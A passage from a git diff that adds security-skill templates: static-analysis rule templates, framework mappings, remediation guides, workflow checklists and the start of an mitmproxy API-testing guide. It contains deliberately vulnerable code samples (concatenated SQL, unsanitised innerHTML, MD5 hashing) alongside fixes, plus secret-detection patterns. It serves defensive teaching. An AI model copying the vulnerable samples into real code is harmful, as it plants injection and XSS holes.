if supported) + fix: | + Use parameterized queries with placeholders + + # Example vulnerable code + examples: + - vulnerable: | + # Vulnerable: String concatenation + user_id = request.GET['id'] + query = "SELECT * FROM users WHERE id = " + user_id + cursor.execute(query) + + - fixed: | + # Fixed: Parameterized query + user_id = request.GET['id'] + query = "SELECT * FROM users WHERE id = ?" + cursor.execute(query, (user_id,)) + + # Example Rule 2: Hardcoded Secrets Detection + - id: hardcoded-secret-credential + metadata: + name: "Hardcoded Secret or Credential" + description: "Detects hardcoded secrets, API keys, passwords, or tokens in source code" + severity: "CRITICAL" + category: "security" + subcategory: "secrets" + + owasp: + - "A07:2021 - Identification and Authentication Failures" + cwe: + - "CWE-798: Use of Hard-coded Credentials" + - "CWE-259: Use of Hard-coded Password" + + compliance: + - "PCI-DSS 8.2.1: Use of strong cryptography" + - "SOC 2 CC6.1: Logical access controls" + - "GDPR Article 32: Security of processing" + + confidence: "MEDIUM" + likelihood: "HIGH" + impact: "CRITICAL" + + references: + - "https://cwe.mitre.org/data/definitions/798.html" + - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password" + + languages: + - python + - javascript + - java + - go + - ruby + + pattern-either: + - pattern: | + password = "..." + - pattern: | + api_key = "..." + - pattern: | + secret = "..." + - pattern: | + token = "..." + + pattern-not: | + $VAR = "" + + message: | + Potential hardcoded secret detected. Hardcoding credentials in source code + is a critical security vulnerability that can lead to unauthorized access + if the code is exposed. + + Use environment variables or a secrets management system instead: + - Python: os.environ.get('API_KEY') + - Node.js: process.env.API_KEY + - Secrets Manager: AWS Secrets Manager, HashiCorp Vault, etc. + + See: https://cwe.mitre.org/data/definitions/798.html + + examples: + - vulnerable: | + # Vulnerable: Hardcoded API key + api_key = "sk-1234567890abcdef" + api.authenticate(api_key) + + - fixed: | + # Fixed: Environment variable + import os + api_key = os.environ.get('API_KEY') + if not api_key: + raise ValueError("API_KEY environment variable not set") + api.authenticate(api_key) + + # Example Rule 3: XSS via Unsafe HTML Rendering + - id: xss-unsafe-html-rendering + metadata: + name: "Cross-Site Scripting (XSS) via Unsafe HTML" + description: "Detects unsafe HTML rendering that could lead to XSS vulnerabilities" + severity: "HIGH" + category: "security" + subcategory: "xss" + + owasp: + - "A03:2021 - Injection" + cwe: + - "CWE-79: Cross-site Scripting (XSS)" + - "CWE-80: Improper Neutralization of Script-Related HTML Tags" + + compliance: + - "PCI-DSS 6.5.7: Cross-site scripting" + - "NIST 800-53 SI-10: Information Input Validation" + + confidence: "HIGH" + likelihood: "MEDIUM" + impact: "HIGH" + + references: + - "https://owasp.org/www-community/attacks/xss/" + - "https://cwe.mitre.org/data/definitions/79.html" + - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html" + + languages: + - javascript + - typescript + - jsx + - tsx + + pattern-either: + - pattern: | + dangerouslySetInnerHTML={{__html: $VAR}} + - pattern: | + innerHTML = $VAR + + message: | + Potential XSS vulnerability detected. Setting HTML content directly from + user input without sanitization can allow attackers to inject malicious + JavaScript code. + + Use one of these safe alternatives: + - React: Use {userInput} for automatic escaping + - DOMPurify: const clean = DOMPurify.sanitize(dirty); + - Framework-specific sanitizers + + See: https://owasp.org/www-community/attacks/xss/ + + examples: + - vulnerable: | + // Vulnerable: Unsanitized HTML + function UserComment({ comment }) { + return
; + } + + - fixed: | + // Fixed: Sanitized with DOMPurify + import DOMPurify from 'dompurify'; + + function UserComment({ comment }) { + const sanitized = DOMPurify.sanitize(comment); + return
; + } + + # Example Rule 4: Insecure Cryptography + - id: weak-cryptographic-algorithm + metadata: + name: "Weak Cryptographic Algorithm" + description: "Detects use of weak or deprecated cryptographic algorithms" + severity: "HIGH" + category: "security" + subcategory: "cryptography" + + owasp: + - "A02:2021 - Cryptographic Failures" + cwe: + - "CWE-327: Use of a Broken or Risky Cryptographic Algorithm" + - "CWE-326: Inadequate Encryption Strength" + + compliance: + - "PCI-DSS 4.1: Use strong cryptography" + - "NIST 800-53 SC-13: Cryptographic Protection" + - "GDPR Article 32: Security of processing" + + confidence: "HIGH" + likelihood: "MEDIUM" + impact: "HIGH" + + references: + - "https://cwe.mitre.org/data/definitions/327.html" + - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/" + + languages: + - python + - javascript + - java + + pattern-either: + - pattern: | + hashlib.md5(...) + - pattern: | + hashlib.sha1(...) + - pattern: | + crypto.createHash('md5') + - pattern: | + crypto.createHash('sha1') + + message: | + Weak cryptographic algorithm detected (MD5 or SHA1). These algorithms are + considered cryptographically broken and should not be used for security purposes. + + Use strong alternatives: + - For hashing: SHA-256, SHA-384, or SHA-512 + - For password hashing: bcrypt, argon2, or PBKDF2 + - Python: hashlib.sha256() + - Node.js: crypto.createHash('sha256') + + See: https://cwe.mitre.org/data/definitions/327.html + + examples: + - vulnerable: | + # Vulnerable: MD5 hash + import hashlib + hash_value = hashlib.md5(data).hexdigest() + + - fixed: | + # Fixed: SHA-256 hash + import hashlib + hash_value = hashlib.sha256(data).hexdigest() + +# Rule Configuration +configuration: + # Global settings + enabled: true + severity_threshold: "MEDIUM" # Report findings at MEDIUM severity and above + + # Performance tuning + max_file_size_kb: 1024 + exclude_patterns: + - "test/*" + - "tests/*" + - "node_modules/*" + - "vendor/*" + - "*.min.js" + + # False positive reduction + confidence_threshold: "MEDIUM" # Only report findings with MEDIUM confidence or higher + +# Rule Metadata Schema +# This section documents the expected structure for rules +metadata_schema: + required: + - id: "Unique identifier for the rule (kebab-case)" + - name: "Human-readable rule name" + - description: "What the rule detects" + - severity: "CRITICAL | HIGH | MEDIUM | LOW | INFO" + - category: "security | best-practice | performance" + + optional: + - subcategory: "Specific type (injection, xss, secrets, etc.)" + - owasp: "OWASP Top 10 mappings" + - cwe: "CWE identifier(s)" + - mitre_attack: "MITRE ATT&CK technique(s)" + - compliance: "Compliance standard references" + - confidence: "Detection confidence level" + - likelihood: "Likelihood of exploitation" + - impact: "Potential impact if exploited" + - references: "External documentation links" + +# Usage Instructions: +# +# 1. Copy this template when creating new security rules +# 2. Update metadata fields with appropriate framework mappings +# 3. Customize detection patterns for your tool (Semgrep, OPA, etc.) +# 4. Provide clear remediation guidance in the message field +# 5. Include both vulnerable and fixed code examples +# 6. Test rules on real codebases before deployment +# +# Best Practices: +# - Map to multiple frameworks (OWASP, CWE, MITRE ATT&CK) +# - Include compliance standard references +# - Provide actionable remediation guidance +# - Show code examples (vulnerable vs. fixed) +# - Tune confidence levels to reduce false positives +# - Exclude test directories to reduce noise diff --git a/skills/_template/references/EXAMPLE.md b/skills/_template/references/EXAMPLE.md new file mode 100644 index 0000000..c317b39 --- /dev/null +++ b/skills/_template/references/EXAMPLE.md @@ -0,0 +1,550 @@ +# Reference Document Template + +This file demonstrates how to structure detailed reference material that Claude loads on-demand. + +**When to use this reference**: Include a clear statement about when Claude should consult this document. +For example: "Consult this reference when analyzing Python code for security vulnerabilities and needing detailed remediation patterns." + +**Document purpose**: Briefly explain what this reference provides that's not in SKILL.md. + +--- + +## Table of Contents + +**For documents >100 lines, always include a table of contents** to help Claude navigate quickly. + +- [When to Use References](#when-to-use-references) +- [Document Organization](#document-organization) +- [Detailed Technical Content](#detailed-technical-content) +- [Security Framework Mappings](#security-framework-mappings) + - [OWASP Top 10](#owasp-top-10) + - [CWE Mappings](#cwe-mappings) + - [MITRE ATT&CK](#mitre-attck) +- [Remediation Patterns](#remediation-patterns) +- [Advanced Configuration](#advanced-configuration) +- [Examples and Code Samples](#examples-and-code-samples) + +--- + +## When to Use References + +**Move content from SKILL.md to references/** when: + +1. **Content exceeds 100 lines** - Keep SKILL.md concise +2. **Framework-specific details** - Detailed OWASP/CWE/MITRE mappings +3. **Advanced user content** - Deep technical details for expert users +4. **Lookup-oriented content** - Rule libraries, configuration matrices, comprehensive lists +5. **Language-specific patterns** - Separate files per language/framework +6. **Historical context** - Old patterns and deprecated approaches + +**Keep in SKILL.md**: +- Core workflows (top 3-5 use cases) +- Decision points and branching logic +- Quick start guidance +- Essential security considerations + +--- + +## Document Organization + +### Structure for Long Documents + +For references >100 lines: + +```markdown +# Title + +**When to use**: Clear trigger statement +**Purpose**: What this provides + +## Table of Contents +- Links to all major sections + +## Quick Reference +- Key facts or commands for fast lookup + +## Detailed Content +- Comprehensive information organized logically + +## Framework Mappings +- OWASP, CWE, MITRE ATT&CK references + +## Examples +- Code samples and patterns +``` + +### Section Naming Conventions + +- Use **imperative** or **declarative** headings +- ✅ "Detecting SQL Injection" not "How to detect SQL Injection" +- ✅ "Common Patterns" not "These are common patterns" +- Make headings **searchable** and **specific** + +--- + +## Detailed Technical Content + +This section demonstrates the type of detailed content that belongs in references rather than SKILL.md. + +### Example: Comprehensive Vulnerability Detection + +#### SQL Injection Detection Patterns + +**Pattern 1: String Concatenation in Queries** + +```python +# Vulnerable pattern +query = "SELECT * FROM users WHERE id = " + user_id +cursor.execute(query) + +# Detection criteria: +# - SQL keyword (SELECT, INSERT, UPDATE, DELETE) +# - String concatenation operator (+, f-string) +# - Variable user input (request params, form data) + +# Severity: HIGH +# CWE: CWE-89 +# OWASP: A03:2021 - Injection +``` + +**Remediation**: +```python +# Fixed: Parameterized query +query = "SELECT * FROM users WHERE id = ?" +cursor.execute(query, (user_id,)) + +# OR using ORM +user = User.objects.get(id=user_id) +``` + +**Pattern 2: Unsafe String Formatting** + +```python +# Vulnerable patterns +query = f"SELECT * FROM users WHERE name = '{username}'" +query = "SELECT * FROM users WHERE name = '%s'" % username +query = "SELECT * FROM users WHERE name = '{}'".format(username) + +# All three patterns are vulnerable to SQL injection +``` + +#### Cross-Site Scripting (XSS) Detection + +**Pattern 1: Unescaped Output in Templates** + +```javascript +// Vulnerable: Direct HTML injection +element.innerHTML = userInput; +document.write(userInput); + +// Vulnerable: React dangerouslySetInnerHTML +
+ +// Detection criteria: +# - Direct DOM manipulation (innerHTML, document.write) +# - React dangerouslySetInnerHTML with user data +# - Template engines with autoescaping disabled + +// Severity: HIGH +// CWE: CWE-79 +// OWASP: A03:2021 - Injection +``` + +**Remediation**: +```javascript +// Fixed: Escaped output +element.textContent = userInput; // Auto-escapes + +// Fixed: Sanitization library +import DOMPurify from 'dompurify'; +const clean = DOMPurify.sanitize(userComment); +
+``` + +--- + +## Security Framework Mappings + +This section provides comprehensive security framework mappings for findings. + +### OWASP Top 10 + +Map security findings to OWASP Top 10 (2021) categories: + +| Category | Title | Common Vulnerabilities | +|----------|-------|----------------------| +| **A01:2021** | Broken Access Control | Authorization bypass, privilege escalation, IDOR | +| **A02:2021** | Cryptographic Failures | Weak crypto, plaintext storage, insecure TLS | +| **A03:2021** | Injection | SQL injection, XSS, command injection, LDAP injection | +| **A04:2021** | Insecure Design | Missing security controls, threat modeling gaps | +| **A05:2021** | Security Misconfiguration | Default configs, verbose errors, unnecessary features | +| **A06:2021** | Vulnerable Components | Outdated libraries, unpatched dependencies | +| **A07:2021** | Auth & Session Failures | Weak passwords, session fixation, missing MFA | +| **A08:2021** | Software & Data Integrity | Unsigned updates, insecure CI/CD, deserialization | +| **A09:2021** | Logging & Monitoring Failures | Insufficient logging, no alerting, log injection | +| **A10:2021** | SSRF | Server-side request forgery, unvalidated redirects | + +**Usage**: When reporting findings, map to primary OWASP category and reference the identifier (e.g., "A03:2021 - Injection"). + +### CWE Mappings + +Map to relevant Common Weakness Enumeration categories for precise vulnerability classification: + +#### Injection Vulnerabilities +- **CWE-78**: OS Command Injection +- **CWE-79**: Cross-site Scripting (XSS) +- **CWE-89**: SQL Injection +- **CWE-90**: LDAP Injection +- **CWE-91**: XML Injection +- **CWE-94**: Code Injection + +#### Authentication & Authorization +- **CWE-287**: Improper Authentication +- **CWE-288**: Authentication Bypass Using Alternate Path +- **CWE-290**: Authentication Bypass by Spoofing +- **CWE-294**: Authentication Bypass by Capture-replay +- **CWE-306**: Missing Authentication for Critical Function +- **CWE-307**: Improper Restriction of Excessive Authentication Attempts +- **CWE-352**: Cross-Site Request Forgery (CSRF) + +#### Cryptographic Issues +- **CWE-256**: Plaintext Storage of Password +- **CWE-259**: Use of Hard-coded Password +- **CWE-261**: Weak Encoding for Password +- **CWE-321**: Use of Hard-coded Cryptographic Key +- **CWE-326**: Inadequate Encryption Strength +- **CWE-327**: Use of Broken or Risky Cryptographic Algorithm +- **CWE-329**: Not Using a Random IV with CBC Mode +- **CWE-798**: Use of Hard-coded Credentials + +#### Input Validation +- **CWE-20**: Improper Input Validation +- **CWE-73**: External Control of File Name or Path +- **CWE-434**: Unrestricted Upload of File with Dangerous Type +- **CWE-601**: URL Redirection to Untrusted Site + +#### Sensitive Data Exposure +- **CWE-200**: Information Exposure +- **CWE-209**: Information Exposure Through Error Message +- **CWE-312**: Cleartext Storage of Sensitive Information +- **CWE-319**: Cleartext Transmission of Sensitive Information +- **CWE-532**: Information Exposure Through Log Files + +**Usage**: Include CWE identifier in all vulnerability reports for standardized classification. + +### MITRE ATT&CK + +Reference relevant tactics and techniques for threat context: + +#### Initial Access (TA0001) +- **T1190**: Exploit Public-Facing Application +- **T1133**: External Remote Services +- **T1078**: Valid Accounts + +#### Execution (TA0002) +- **T1059**: Command and Scripting Interpreter +- **T1203**: Exploitation for Client Execution + +#### Persistence (TA0003) +- **T1098**: Account Manipulation +- **T1136**: Create Account +- **T1505**: Server Software Component + +#### Privilege Escalation (TA0004) +- **T1068**: Exploitation for Privilege Escalation +- **T1548**: Abuse Elevation Control Mechanism + +#### Defense Evasion (TA0005) +- **T1027**: Obfuscated Files or Information +- **T1140**: Deobfuscate/Decode Files or Information +- **T1562**: Impair Defenses + +#### Credential Access (TA0006) +- **T1110**: Brute Force +- **T1555**: Credentials from Password Stores +- **T1552**: Unsecured Credentials + +#### Discovery (TA0007) +- **T1083**: File and Directory Discovery +- **T1046**: Network Service Scanning + +#### Collection (TA0009) +- **T1005**: Data from Local System +- **T1114**: Email Collection + +#### Exfiltration (TA0010) +- **T1041**: Exfiltration Over C2 Channel +- **T1567**: Exfiltration Over Web Service + +**Usage**: When identifying vulnerabilities, consider which ATT&CK techniques an attacker could use to exploit them. + +--- + +## Remediation Patterns + +This section provides specific remediation guidance for common vulnerability types. + +### SQL Injection Remediation + +**Step 1: Identify vulnerable queries** +- Search for string concatenation in SQL queries +- Check for f-strings or format() with SQL keywords +- Review all database interaction code + +**Step 2: Apply parameterized queries** + +```python +# Python with sqlite3 +cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,)) + +# Python with psycopg2 (PostgreSQL) +cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) + +# Python with SQLAlchemy (ORM) +from sqlalchemy import text +result = session.execute(text("SELECT * FROM users WHERE id = :id"), {"id": user_id}) +``` + +**Step 3: Validate and sanitize input** (defense in depth) +```python +import re + +# Validate input format +if not re.match(r'^\d+$', user_id): + raise ValueError("Invalid user ID format") + +# Use ORM query builders +user = User.query.filter_by(id=user_id).first() +``` + +**Step 4: Implement least privilege** +- Database user should have minimum required permissions +- Use read-only accounts for SELECT operations +- Never use admin/root accounts for application queries + +### XSS Remediation + +**Step 1: Enable auto-escaping** +- Most modern frameworks escape by default +- Ensure auto-escaping is not disabled + +**Step 2: Use framework-specific safe methods** + +```javascript +// React: Use JSX (auto-escapes) +
{userInput}
+ +// Vue: Use template syntax (auto-escapes) +
{{ userInput }}
+ +// Angular: Use property binding (auto-escapes) +
+``` + +**Step 3: Sanitize when HTML is required** + +```javascript +import DOMPurify from 'dompurify'; + +// Sanitize HTML content +const clean = DOMPurify.sanitize(userHTML, { + ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p'], + ALLOWED_ATTR: [] +}); +``` + +**Step 4: Content Security Policy (CSP)** + +```html + +Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}' +``` + +--- + +## Advanced Configuration + +This section contains detailed configuration options and tuning parameters. + +### Example: SAST Tool Configuration + +```yaml +# Advanced security scanner configuration +scanner: + # Severity threshold + severity_threshold: MEDIUM + + # Rule configuration + rules: + enabled: + - sql-injection + - xss + - hardcoded-secrets + disabled: + - informational-only + + # False positive reduction + confidence_threshold: HIGH + exclude_patterns: + - "*/test/*" + - "*/tests/*" + - "*/node_modules/*" + - "*.test.js" + - "*.spec.ts" + + # Performance tuning + max_file_size_kb: 2048 + timeout_seconds: 300 + parallel_jobs: 4 + + # Output configuration + output_format: json + include_code_snippets: true + max_snippet_lines: 10 +``` + +--- + +## Examples and Code Samples + +This section provides comprehensive code examples for various scenarios. + +### Example 1: Secure API Authentication + +```python +# Secure API key handling +import os +from functools import wraps +from flask import Flask, request, jsonify + +app = Flask(__name__) + +# Load API key from environment (never hardcode) +VALID_API_KEY = os.environ.get('API_KEY') +if not VALID_API_KEY: + raise ValueError("API_KEY environment variable not set") + +def require_api_key(f): + @wraps(f) + def decorated_function(*args, **kwargs): + api_key = request.headers.get('X-API-Key') + + if not api_key: + return jsonify({'error': 'API key required'}), 401 + + # Constant-time comparison to prevent timing attacks + import hmac + if not hmac.compare_digest(api_key, VALID_API_KEY): + return jsonify({'error': 'Invalid API key'}), 403 + + return f(*args, **kwargs) + return decorated_function + +@app.route('/api/secure-endpoint') +@require_api_key +def secure_endpoint(): + return jsonify({'message': 'Access granted'}) +``` + +### Example 2: Secure Password Hashing + +```python +# Secure password storage with bcrypt +import bcrypt + +def hash_password(password: str) -> str: + """Hash a password using bcrypt.""" + # Generate salt and hash password + salt = bcrypt.gensalt(rounds=12) # Cost factor: 12 (industry standard) + hashed = bcrypt.hashpw(password.encode('utf-8'), salt) + return hashed.decode('utf-8') + +def verify_password(password: str, hashed: str) -> bool: + """Verify a password against a hash.""" + return bcrypt.checkpw( + password.encode('utf-8'), + hashed.encode('utf-8') + ) + +# Usage +stored_hash = hash_password("user_password") +is_valid = verify_password("user_password", stored_hash) # True +``` + +### Example 3: Secure File Upload + +```python +# Secure file upload with validation +import os +import magic +from werkzeug.utils import secure_filename + +ALLOWED_EXTENSIONS = {'pdf', 'png', 'jpg', 'jpeg'} +ALLOWED_MIME_TYPES = { + 'application/pdf', + 'image/png', + 'image/jpeg' +} +MAX_FILE_SIZE = 5 * 1024 * 1024 # 5 MB + +def is_allowed_file(filename: str, file_content: bytes) -> bool: + """Validate file extension and MIME type.""" + # Check extension + if '.' not in filename: + return False + + ext = filename.rsplit('.', 1)[1].lower() + if ext not in ALLOWED_EXTENSIONS: + return False + + # Check MIME type (prevent extension spoofing) + mime = magic.from_buffer(file_content, mime=True) + if mime not in ALLOWED_MIME_TYPES: + return False + + return True + +def handle_upload(file): + """Securely handle file upload.""" + # Check file size + file.seek(0, os.SEEK_END) + size = file.tell() + file.seek(0) + + if size > MAX_FILE_SIZE: + raise ValueError("File too large") + + # Read content for validation + content = file.read() + file.seek(0) + + # Validate file type + if not is_allowed_file(file.filename, content): + raise ValueError("Invalid file type") + + # Sanitize filename + filename = secure_filename(file.filename) + + # Generate unique filename to prevent overwrite attacks + import uuid + unique_filename = f"{uuid.uuid4()}_{filename}" + + # Save to secure location (outside web root) + upload_path = os.path.join('/secure/uploads', unique_filename) + file.save(upload_path) + + return unique_filename +``` + +--- + +## Best Practices for Reference Documents + +1. **Start with "When to use"** - Help Claude know when to load this reference +2. **Include table of contents** - For documents >100 lines +3. **Use concrete examples** - Code samples with vulnerable and fixed versions +4. **Map to frameworks** - OWASP, CWE, MITRE ATT&CK for context +5. **Provide remediation** - Don't just identify issues, show how to fix them +6. **Organize logically** - Group related content, use clear headings +7. **Keep examples current** - Use modern patterns and current framework versions +8. **Be concise** - Even in references, challenge every sentence diff --git a/skills/_template/references/WORKFLOW_CHECKLIST.md b/skills/_template/references/WORKFLOW_CHECKLIST.md new file mode 100644 index 0000000..eff0234 --- /dev/null +++ b/skills/_template/references/WORKFLOW_CHECKLIST.md @@ -0,0 +1,253 @@ +# Workflow Checklist Template + +This template demonstrates workflow patterns for security operations. Copy and adapt these checklists to your specific skill needs. + +## Pattern 1: Sequential Workflow Checklist + +Use this pattern for operations that must be completed in order, step-by-step. + +### Security Assessment Workflow + +Progress: +[ ] 1. Identify application entry points and attack surface +[ ] 2. Map authentication and authorization flows +[ ] 3. Identify data flows and sensitive data handling +[ ] 4. Review existing security controls +[ ] 5. Document findings with framework references (OWASP, CWE) +[ ] 6. Prioritize findings by severity (CVSS scores) +[ ] 7. Generate report with remediation recommendations + +Work through each step systematically. Check off completed items. + +--- + +## Pattern 2: Conditional Workflow + +Use this pattern when the workflow branches based on findings or conditions. + +### Vulnerability Remediation Workflow + +1. Identify vulnerability type + - If SQL Injection → See [sql-injection-remediation.md](sql-injection-remediation.md) + - If XSS (Cross-Site Scripting) → See [xss-remediation.md](xss-remediation.md) + - If Authentication flaw → See [auth-remediation.md](auth-remediation.md) + - If Authorization flaw → See [authz-remediation.md](authz-remediation.md) + - If Cryptographic issue → See [crypto-remediation.md](crypto-remediation.md) + +2. Assess severity using CVSS calculator + - If CVSS >= 9.0 → Priority: Critical (immediate action) + - If CVSS 7.0-8.9 → Priority: High (action within 24h) + - If CVSS 4.0-6.9 → Priority: Medium (action within 1 week) + - If CVSS < 4.0 → Priority: Low (action within 30 days) + +3. Apply appropriate remediation pattern +4. Validate fix with security testing +5. Document changes and update security documentation + +--- + +## Pattern 3: Iterative Workflow + +Use this pattern for operations that repeat across multiple targets or items. + +### Code Security Review Workflow + +For each file in the review scope: +1. Identify security-sensitive operations (auth, data access, crypto, input handling) +2. Check against secure coding patterns for the language +3. Flag potential vulnerabilities with severity rating +4. Map findings to CWE and OWASP categories +5. Suggest specific remediation approaches +6. Document finding with code location and fix priority + +Continue until all files in scope have been reviewed. + +--- + +## Pattern 4: Feedback Loop Workflow + +Use this pattern when validation and iteration are required. + +### Secure Configuration Generation Workflow + +1. Generate initial security configuration based on requirements +2. Run validation script: `./scripts/validate_config.py config.yaml` +3. Review validation output: + - Note all errors (must fix) + - Note all warnings (should fix) + - Note all info items (consider) +4. Fix identified issues in configuration +5. Repeat steps 2-4 until validation passes with zero errors +6. Review warnings and determine if they should be addressed +7. Apply configuration once validation is clean + +**Validation Loop**: Run validator → Fix errors → Repeat until clean + +--- + +## Pattern 5: Parallel Analysis Workflow + +Use this pattern when multiple independent analyses can run concurrently. + +### Comprehensive Security Scan Workflow + +Run these scans in parallel: + +**Static Analysis**: +[ ] 1a. Run SAST scan (Semgrep/Bandit) +[ ] 1b. Run dependency vulnerability scan (Safety/npm audit) +[ ] 1c. Run secrets detection (Gitleaks/TruffleHog) +[ ] 1d. Run license compliance check + +**Dynamic Analysis**: +[ ] 2a. Run DAST scan (ZAP/Burp) +[ ] 2b. Run API security testing +[ ] 2c. Run authentication/authorization testing + +**Infrastructure Analysis**: +[ ] 3a. Run infrastructure-as-code scan (Checkov/tfsec) +[ ] 3b. Run container image scan (Trivy/Grype) +[ ] 3c. Run configuration review + +**Consolidation**: +[ ] 4. Aggregate all findings +[ ] 5. Deduplicate and correlate findings +[ ] 6. Prioritize by risk (CVSS + exploitability + business impact) +[ ] 7. Generate unified security report + +--- + +## Pattern 6: Research and Documentation Workflow + +Use this pattern for security research and documentation tasks. + +### Threat Modeling Workflow + +Research Progress: +[ ] 1. Identify system components and boundaries +[ ] 2. Map data flows between components +[ ] 3. Identify trust boundaries +[ ] 4. Enumerate assets (data, services, credentials) +[ ] 5. Apply STRIDE framework to each component: + - Spoofing threats + - Tampering threats + - Repudiation threats + - Information disclosure threats + - Denial of service threats + - Elevation of privilege threats +[ ] 6. Map threats to MITRE ATT&CK techniques +[ ] 7. Identify existing mitigations +[ ] 8. Document residual risks +[ ] 9. Recommend additional security controls +[ ] 10. Generate threat model document + +Work through each step systematically. Check off completed items. + +--- + +## Pattern 7: Compliance Validation Workflow + +Use this pattern for compliance checks against security standards. + +### Security Compliance Audit Workflow + +**SOC 2 Controls Review**: +[ ] 1. Review access control policies (CC6.1, CC6.2, CC6.3) +[ ] 2. Verify logical access controls implementation (CC6.1) +[ ] 3. Review authentication mechanisms (CC6.1) +[ ] 4. Verify encryption implementation (CC6.1, CC6.7) +[ ] 5. Review audit logging configuration (CC7.2) +[ ] 6. Verify security monitoring (CC7.2, CC7.3) +[ ] 7. Review incident response procedures (CC7.3, CC7.4) +[ ] 8. Verify backup and recovery processes (A1.2, A1.3) + +**Evidence Collection**: +[ ] 9. Collect policy documents +[ ] 10. Collect configuration screenshots +[ ] 11. Collect audit logs +[ ] 12. Document control gaps +[ ] 13. Generate compliance report + +--- + +## Pattern 8: Incident Response Workflow + +Use this pattern for security incident handling. + +### Security Incident Response Workflow + +**Detection and Analysis**: +[ ] 1. Confirm security incident (rule out false positive) +[ ] 2. Determine incident severity (SEV1/2/3/4) +[ ] 3. Identify affected systems and data +[ ] 4. Preserve evidence (logs, memory dumps, network captures) + +**Containment**: +[ ] 5. Isolate affected systems (network segmentation) +[ ] 6. Disable compromised accounts +[ ] 7. Block malicious indicators (IPs, domains, hashes) +[ ] 8. Implement temporary compensating controls + +**Eradication**: +[ ] 9. Identify root cause +[ ] 10. Remove malicious artifacts (malware, backdoors, webshells) +[ ] 11. Patch vulnerabilities exploited +[ ] 12. Reset compromised credentials + +**Recovery**: +[ ] 13. Restore systems from clean backups (if needed) +[ ] 14. Re-enable systems with monitoring +[ ] 15. Verify system integrity +[ ] 16. Resume normal operations + +**Post-Incident**: +[ ] 17. Document incident timeline +[ ] 18. Identify lessons learned +[ ] 19. Update security controls to prevent recurrence +[ ] 20. Update incident response procedures +[ ] 21. Communicate with stakeholders + +--- + +## Usage Guidelines + +### When to Use Workflow Checklists + +✅ **Use checklists for**: +- Complex multi-step operations +- Operations requiring specific order +- Security assessments and audits +- Incident response procedures +- Compliance validation tasks + +❌ **Don't use checklists for**: +- Simple single-step operations +- Highly dynamic exploratory work +- Operations that vary significantly each time + +### Adapting This Template + +1. **Copy relevant pattern** to your skill's SKILL.md or create new reference file +2. **Customize steps** to match your specific security tool or process +3. **Add framework references** (OWASP, CWE, NIST) where applicable +4. **Include tool-specific commands** for automation +5. **Add decision points** where manual judgment is required + +### Checklist Best Practices + +- **Be specific**: "Run semgrep --config=auto ." not "Scan the code" +- **Include success criteria**: "Validation passes with 0 errors" +- **Reference standards**: Link to OWASP, CWE, NIST where relevant +- **Show progress**: Checkbox format helps track completion +- **Provide escape hatches**: "If validation fails, see troubleshooting.md" + +### Integration with Feedback Loops + +Combine checklists with validation scripts for maximum effectiveness: + +1. Create checklist for the workflow +2. Provide validation script that checks quality +3. Include "run validator" step in checklist +4. Loop: Complete step → Validate → Fix issues → Re-validate + +This pattern dramatically improves output quality through systematic validation. diff --git a/skills/appsec/.category b/skills/appsec/.category new file mode 100644 index 0000000..007c7ac --- /dev/null +++ b/skills/appsec/.category @@ -0,0 +1,5 @@ +# Application Security Skills + +This directory contains skills for application security operations. + +See the main [README.md](../../README.md) for usage and [CONTRIBUTE.md](../../CONTRIBUTE.md) for contribution guidelines. diff --git a/skills/appsec/api-mitmproxy/SKILL.md b/skills/appsec/api-mitmproxy/SKILL.md new file mode 100644 index 0000000..0cd71ec --- /dev/null +++ b/skills/appsec/api-mitmproxy/SKILL.md @@ -0,0 +1,484 @@ +--- +name: api-mitmproxy +description: > + Interactive HTTPS proxy for API security testing with traffic interception, modification, and + replay capabilities. Supports HTTP/1, HTTP/2, HTTP/3, WebSockets, and TLS-protected protocols. + Includes Python scripting API for automation and multiple interfaces (console, web, CLI). Use when: + (1) Intercepting and analyzing API traffic for security testing, (2) Modifying HTTP/HTTPS requests + and responses to test API behavior, (3) Recording and replaying API traffic for testing, (4) + Debugging mobile app or thick client API communications, (5) Automating API security tests with + Python scripts, (6) Exporting traffic in HAR format for analysis. +version: 0.1.0 +maintainer: SirAppSec +category: appsec +tags: [api-testing, proxy, https, intercepting-proxy, traffic-analysis, mitmproxy, har-export, websockets] +frameworks: [OWASP] +dependencies: + python: ">=3.9" + tools: [mitmproxy, mitmweb, mitmdump] +references: + - https://mitmproxy.org/ + - https://docs.mitmproxy.org/ +--- + +# mitmproxy API Security Testing + +## Overview + +mitmproxy is an interactive, TLS-capable intercepting HTTP proxy for penetration testers and developers. It enables real-time inspection, modification, and replay of HTTP/HTTPS traffic including APIs, mobile apps, and thick clients. With support for HTTP/1, HTTP/2, HTTP/3, and WebSockets, mitmproxy provides comprehensive coverage for modern API security testing. + +## Interfaces + +**mitmproxy** - Interactive console interface with keyboard navigation +**mitmweb** - Web-based GUI for visual traffic inspection +**mitmdump** - Command-line tool for automated traffic capture and scripting + +## Quick Start + +Install and run mitmproxy: + +```bash +# Install via pip +pip install mitmproxy + +# Start interactive console proxy +mitmproxy + +# Start web interface (default: http://127.0.0.1:8081) +mitmweb + +# Start command-line proxy with output +mitmdump -w traffic.flow +``` + +Configure client to use proxy (default: localhost:8080) + +## Core Workflows + +### Workflow 1: Interactive API Traffic Inspection + +For manual API security testing and analysis: + +1. Start mitmproxy or mitmweb: + ```bash + # Console interface + mitmproxy --mode regular --listen-host 0.0.0.0 --listen-port 8080 + + # Or web interface + mitmweb --mode regular --listen-host 0.0.0.0 --listen-port 8080 + ``` +2. Configure target application to use proxy (HTTP: localhost:8080) +3. Install mitmproxy CA certificate on client device +4. Trigger API requests from the application +5. Intercept and inspect requests/responses in mitmproxy +6. Modify requests to test: + - Authentication bypass attempts + - Authorization flaws (IDOR, privilege escalation) + - Input validation (SQLi, XSS, command injection) + - Business logic vulnerabilities +7. Save flows for documentation and reporting + +### Workflow 2: Mobile App API Security Testing + +Progress: +[ ] 1. Install mitmproxy CA certificate on mobile device +[ ] 2. Configure device WiFi to use mitmproxy as proxy +[ ] 3. Start mitmweb for visual traffic inspection +[ ] 4. Launch mobile app and exercise all features +[ ] 5. Review API endpoints, authentication mechanisms, data flows 